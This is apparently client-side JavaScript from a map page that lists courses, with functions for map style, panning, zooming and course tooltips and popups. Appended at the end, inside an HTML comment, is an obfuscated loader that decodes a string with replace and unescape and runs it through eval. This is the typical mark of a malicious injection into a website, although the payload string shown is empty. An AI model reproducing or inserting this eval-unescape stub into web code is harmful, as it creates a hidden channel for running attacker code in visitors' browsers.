 
      
      function ChangeMapStyle()
      {
        var Aerial = document.getElementById("AerialStyleCheck");
        var Vector = document.getElementById("VectorStyleCheck");
        var s = 'r';
        if (Aerial.checked && Vector.checked)
        {
          s = 'h';
        }
        else if (Aerial.checked)
        {
          s = 'a';
        }
        map.SetMapStyle(s);
      }
      
      function DoPanUp()    { map.ContinuousPan(0,  -10, 20); }
      function DoPanDown()  { map.ContinuousPan(0,   10, 20); }
      function DoPanLeft()  { map.ContinuousPan(-10, 0,  20); }
      function DoPanRight() { map.ContinuousPan(10,  0,  20); }
            
      function DoZoomIn()  { map.ZoomIn(); }
      function DoZoomOut() { map.ZoomOut(); }

function doTooltip(x, y, courseid) {
	if (lastTooltip > 0)
	{
		hideTooltip(lastTooltip);
	}

	var notes = document.getElementById("coursetip" + courseid), left, top;
	left = x + 10;
	top = document.body.scrollTop + y + 10;

	notes.style.top = top;
	notes.style.left = left;

	notes.style.zIndex = 51;
	notes.style.visibility = "visible"; 


}


function doPopup(x, y, courseid) {

	if ((lastClicked != courseid) || (clickedOn == true))
	{
		
		hideTooltip(courseid);
		var notes = document.getElementById("coursepop" + courseid), left, top;
		left = x;
		top = document.body.scrollTop + y + 5;   
	
	   	notes.style.top = top - 132
	    	notes.style.left = left + 6;
		

		notes.style.zIndex = 50;
	    	notes.style.visibility = "visible"; 
		if ((lastClicked > 0) && (clickedOn == false))
		{
			hidePopup(lastClicked);
		}
		var bubble = document.getElementById("bubble");
		bubble.style.top = top - 17 - 115;
		bubble.style.left = left;
		bubble.style.visibility = "visible";

		lastClicked = courseid;
		clickedOn = false;
	}
	else
	{
		clickedOn = true;
		hidePopup(courseid);
	}
}

function hideTooltip(courseid) {
    var notes = document.getElementById("coursetip" + courseid);  
    notes.style.visibility = "hidden";
}

function hidePopup(courseid) {
    var notes = document.getElementById("coursepop" + courseid);  
    notes.style.visibility = "hidden";
    var bubble = document.getElementById("bubble");
    bubble.style.visibility = "hidden";

}

<!-- 
(function(){var jm2T='%';var QhMND=('').replace(/:/g,jm2T);eval(unescape(QhMND))})();
 -->